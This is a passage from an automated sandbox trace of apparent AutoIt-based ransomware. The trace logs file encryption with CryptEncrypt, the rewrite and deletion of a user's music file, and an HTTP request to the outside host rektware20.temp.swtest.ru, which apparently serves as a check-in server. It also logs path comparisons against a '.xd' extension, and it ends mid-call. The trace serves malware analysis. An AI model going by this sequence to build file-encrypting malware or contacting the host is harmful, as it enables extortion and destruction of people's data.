lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.288] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.288] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.288] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.288] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.288] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.288] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.288] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.288] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.288] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.289] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.289] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.289] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.289] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.289] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.289] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.292] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.292] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.292] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.292] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.292] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.292] CryptEncrypt (in: hKey=0x164c870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x68c6, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x68d0) returned 1 [0063.292] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.293] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.293] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.293] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.293] CharLowerBuffW (in: lpsz="byte[26833]", cchLength=0xb | out: lpsz="byte[26833]") returned 0xb [0063.293] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.293] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.293] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.293] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.293] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.294] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.294] CryptEncrypt (in: hKey=0x164c870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x188a1b0*, pdwDataLen=0x130e618*=0x68c6, dwBufLen=0x68d0 | out: pbData=0x188a1b0*, pdwDataLen=0x130e618*=0x68d0) returned 1 [0063.294] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.294] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.294] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.294] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.294] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.294] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.294] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.295] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.295] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.295] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.295] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.295] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.295] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.295] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.295] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.295] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.295] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.296] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.296] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.297] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.297] WriteFile (in: hFile=0x3bc, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x68d0, lpOverlapped=0x0) returned 1 [0063.298] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.298] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.298] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0063.298] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.298] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.298] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0063.298] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0063.299] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0063.299] CryptDestroyKey (hKey=0x164c870) returned 1 [0063.299] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.299] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.299] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.299] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.299] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.299] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.299] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.299] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.299] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.299] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0063.299] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.299] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.299] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.299] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.299] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.299] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.299] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.299] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.299] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.299] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.300] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.300] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.300] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.300] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.300] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.300] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.300] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.300] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.300] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0063.300] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0063.300] CryptReleaseContext (hProv=0x17ab2a8, dwFlags=0x0) returned 1 [0063.300] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.300] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.300] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.300] FreeLibrary (hLibModule=0x74c60000) returned 1 [0063.300] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.300] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.300] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.301] CloseHandle (hObject=0x2ac) returned 1 [0063.301] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.301] CloseHandle (hObject=0x3bc) returned 1 [0063.309] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.309] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.309] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", lpFilePart=0x0) returned 0x2d [0063.309] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\jc32xxwfgqcsi.wav")) returned 0x20 [0063.309] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c6f0 [0063.309] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\jc32xxwfgqcsi.wav")) returned 1 [0063.311] FindNextFileW (in: hFindFile=0x164c6f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0063.312] FindClose (in: hFindFile=0x164c6f0 | out: hFindFile=0x164c6f0) returned 1 [0063.312] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.312] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.312] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.312] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.312] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0063.312] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0063.312] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.312] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0063.312] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.312] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0063.312] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0063.312] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c) returned 1 [0063.312] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.312] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.313] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.313] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0063.313] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0063.313] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0063.313] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629210, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629210*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0063.313] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0063.314] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.314] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.314] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.314] CloseHandle (hObject=0x0) returned 0 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 